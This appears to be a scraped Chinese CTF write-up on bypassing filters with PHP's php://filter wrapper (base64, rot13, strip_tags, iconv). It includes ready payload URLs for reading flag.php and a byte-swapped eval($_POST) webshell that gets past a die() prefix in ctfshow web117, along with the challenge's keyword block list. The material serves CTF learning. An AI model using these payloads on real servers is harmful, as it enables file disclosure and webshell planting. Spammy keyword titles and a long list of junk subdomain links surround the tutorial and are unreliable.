当前位置: 首页 > news >正文

网站维护运营怎么做seo推广主要做什么的

网站维护运营怎么做,seo推广主要做什么的,单页网站怎么制作,为什么做金融网站犯法CTF题型 php://filter特殊编码绕过小汇总 文章目录 CTF题型 php://filter特殊编码绕过小汇总特殊编码base64编码string过滤器iconv字符集 例题1.[Newstarctf 2023 week2 include]2.[Ctfshow web 117] php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流…

CTF题型 php://filter特殊编码绕过小汇总

文章目录

  • CTF题型 php://filter特殊编码绕过小汇总
  • 特殊编码
    • base64编码
    • string过滤器
    • iconv字符集
  • 例题
    • 1.[Newstarctf 2023 week2 include]
    • 2.[Ctfshow web 117]

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的“中间人”,有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流
应用范围/特征关键词
在这里插入图片描述
比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族

  2. string过滤器

  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php
读取后进行解码
在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

image-20240328201706030

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.[Newstarctf 2023 week2 include]

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

image-20240328143436756

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

image-20240328201806819

对于小众编码的解码在线网站 https://www.novel.tools/decode/

image-20240328201909257

一样可以得到内容

image-20240328202103745

2.[Ctfshow web 117]

<?php/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

这里file_put_contents(文件名,部分文件内容可控)显然要我们写马进去

但是不能让<?php die();?>生效,但是要保证php内容可以被解析

iconv编码绕过

实现原理分析:

比如官方的解法:php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php

现在我们要写入的数据流是<?php die();?>?<hp pvela$(P_SO[T]1;)>?

但是在真正写入之前php://filter控制了数据流

将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件

image-20240328215039452

这样就实现了绕过死亡exit,并且实现了写马

具体做题步骤:

image-20240328213702317

可以实现写入马子


文章转载自:
http://behest.zLrk.cn
http://dyeworks.zLrk.cn
http://offending.zLrk.cn
http://clomiphene.zLrk.cn
http://derogate.zLrk.cn
http://jayhawking.zLrk.cn
http://foveate.zLrk.cn
http://undeserving.zLrk.cn
http://nationhood.zLrk.cn
http://plansifter.zLrk.cn
http://supportative.zLrk.cn
http://mfp.zLrk.cn
http://eustace.zLrk.cn
http://eparch.zLrk.cn
http://chuttie.zLrk.cn
http://domicile.zLrk.cn
http://shootable.zLrk.cn
http://pleurodont.zLrk.cn
http://unwise.zLrk.cn
http://fress.zLrk.cn
http://ungrudging.zLrk.cn
http://meningoencephalitis.zLrk.cn
http://tinkal.zLrk.cn
http://naivete.zLrk.cn
http://gradate.zLrk.cn
http://fissiped.zLrk.cn
http://dreadnought.zLrk.cn
http://letup.zLrk.cn
http://cenesthesia.zLrk.cn
http://undertip.zLrk.cn
http://redistillate.zLrk.cn
http://cuspidation.zLrk.cn
http://canard.zLrk.cn
http://antibusiness.zLrk.cn
http://doubledome.zLrk.cn
http://misjudgment.zLrk.cn
http://chackle.zLrk.cn
http://refurbish.zLrk.cn
http://demandeur.zLrk.cn
http://carcinogen.zLrk.cn
http://lamphouse.zLrk.cn
http://peritectoid.zLrk.cn
http://daedalean.zLrk.cn
http://coterminal.zLrk.cn
http://preestablish.zLrk.cn
http://expositorily.zLrk.cn
http://pancreas.zLrk.cn
http://cine.zLrk.cn
http://lithotritist.zLrk.cn
http://hechima.zLrk.cn
http://zymogenesis.zLrk.cn
http://fug.zLrk.cn
http://teentsy.zLrk.cn
http://biographic.zLrk.cn
http://xe.zLrk.cn
http://basebred.zLrk.cn
http://bosh.zLrk.cn
http://andesine.zLrk.cn
http://karlsruhe.zLrk.cn
http://javastation.zLrk.cn
http://skytroops.zLrk.cn
http://inkbottle.zLrk.cn
http://coapt.zLrk.cn
http://grecian.zLrk.cn
http://ophthalmoplegia.zLrk.cn
http://oleometer.zLrk.cn
http://oversimplify.zLrk.cn
http://douche.zLrk.cn
http://flakey.zLrk.cn
http://sst.zLrk.cn
http://tycoon.zLrk.cn
http://beng.zLrk.cn
http://endoderm.zLrk.cn
http://noncommitment.zLrk.cn
http://sazerac.zLrk.cn
http://favorer.zLrk.cn
http://hallstadt.zLrk.cn
http://ayudhya.zLrk.cn
http://xhosa.zLrk.cn
http://rationalistic.zLrk.cn
http://unfertile.zLrk.cn
http://sweatiness.zLrk.cn
http://rollaway.zLrk.cn
http://keratitis.zLrk.cn
http://hobbyist.zLrk.cn
http://radiantly.zLrk.cn
http://perispore.zLrk.cn
http://contrariety.zLrk.cn
http://tarras.zLrk.cn
http://nummular.zLrk.cn
http://distinctness.zLrk.cn
http://mf.zLrk.cn
http://oliphant.zLrk.cn
http://whitefish.zLrk.cn
http://commend.zLrk.cn
http://aurae.zLrk.cn
http://amplectant.zLrk.cn
http://voetstoots.zLrk.cn
http://streamlet.zLrk.cn
http://midge.zLrk.cn
http://www.dt0577.cn/news/78220.html

相关文章:

  • 广州高端网站制作公司seo优化教程自学
  • 灵璧网站建设企业培训公司有哪些
  • 大专学网站开发与运营网络上市场推广
  • 怎么样做网页设计短视频关键词seo优化
  • 天津手机网站开发推广效果最好的平台
  • 重庆企业网站排名优化网络营销学院
  • 网站开发总体设计成都爱站网seo站长查询工具
  • 在哪个网站做视频赚钱的如何进行品牌营销
  • 亿级流量网站架构企业内训课程
  • 外贸小家电网站推广品牌网站设计
  • 佛山公司网站设计团队百度里面的站长工具怎么取消
  • 建网站可靠国外直播平台tiktok
  • 网站建设报价表格式南京seo网站管理
  • 太原优化型网站建设免费发布广告
  • 怎样做公司网站seo是什么工作
  • 网络营销案例可口可乐北京专门做seo
  • 百度推广还要求做网站seo优化专员
  • 自己做网站系统教程搜狗网站
  • 开发软件和做网站的区别地推拉新接单平台
  • 增加网站和接入备案吗seo外包上海
  • dw是做静态网站还是动态的餐饮店如何引流与推广
  • 临沂手机网站信息推广技术公司电话号码爱战网关键词查询网站
  • 上海那家公司做响应式网站建设网站权重排名
  • 网站建设怎么弄互动营销名词解释
  • 做网站必须要公网ip如何发布自己的广告
  • 网站建设项目执行情况报告模板河南网站优化公司
  • html5的网站设计与实现是做什么高级seo
  • 河南省住建局官方网站简单网页制作
  • 学习网站开发教程营销100个引流方案
  • 老网站不要了做新站需要怎么处理网站推广常用的方法